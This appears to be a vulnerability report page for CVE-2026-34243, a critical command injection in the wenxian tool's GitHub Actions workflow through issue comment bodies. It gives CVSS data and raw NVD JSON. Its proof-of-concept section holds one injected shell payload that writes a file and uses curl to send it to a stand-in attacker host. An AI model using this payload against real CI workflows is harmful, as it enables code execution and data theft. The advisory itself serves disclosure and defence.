Security Vulnerability Report
中文
CVE-2026-34243 CVSS 9.8 CRITICAL

CVE-2026-34243

Published: 2026-03-31 16:16:33
Last Modified: 2026-04-03 14:38:18

Description

wenxian is a tool to generate BIBTEX files from given identifiers (DOI, PMID, arXiv ID, or paper title). In versions 0.3.1 and prior, a GitHub Actions workflow uses untrusted user input from issue_comment.body directly inside a shell command, allowing potential command injection and arbitrary code execution on the runner. At time of publication, there are no publicly available patches.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:njzjz:wenxian:*:*:*:*:*:python:*:* - VULNERABLE
wenxian <= 0.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Malicious payload to be injected into GitHub Issue comment body # The payload uses command substitution to execute arbitrary commands on the runner valid_input; echo "CVE-2026-34243 POC" > /tmp/pwned.txt; curl -d @/tmp/pwned.txt http://attacker-server.com/exfil

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34243", "sourceIdentifier": "[email protected]", "published": "2026-03-31T16:16:33.253", "lastModified": "2026-04-03T14:38:17.593", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "wenxian is a tool to generate BIBTEX files from given identifiers (DOI, PMID, arXiv ID, or paper title). In versions 0.3.1 and prior, a GitHub Actions workflow uses untrusted user input from issue_comment.body directly inside a shell command, allowing potential command injection and arbitrary code execution on the runner. At time of publication, there are no publicly available patches."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}, {"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:njzjz:wenxian:*:*:*:*:*:python:*:*", "versionEndIncluding": "0.3.1", "matchCriteriaId": "E1B409F9-C4BD-4C59-8278-66ED698B4EB8"}]}]}], "references": [{"url": "https://github.com/njzjz/wenxian/security/advisories/GHSA-r4fj-r33x-8v88", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}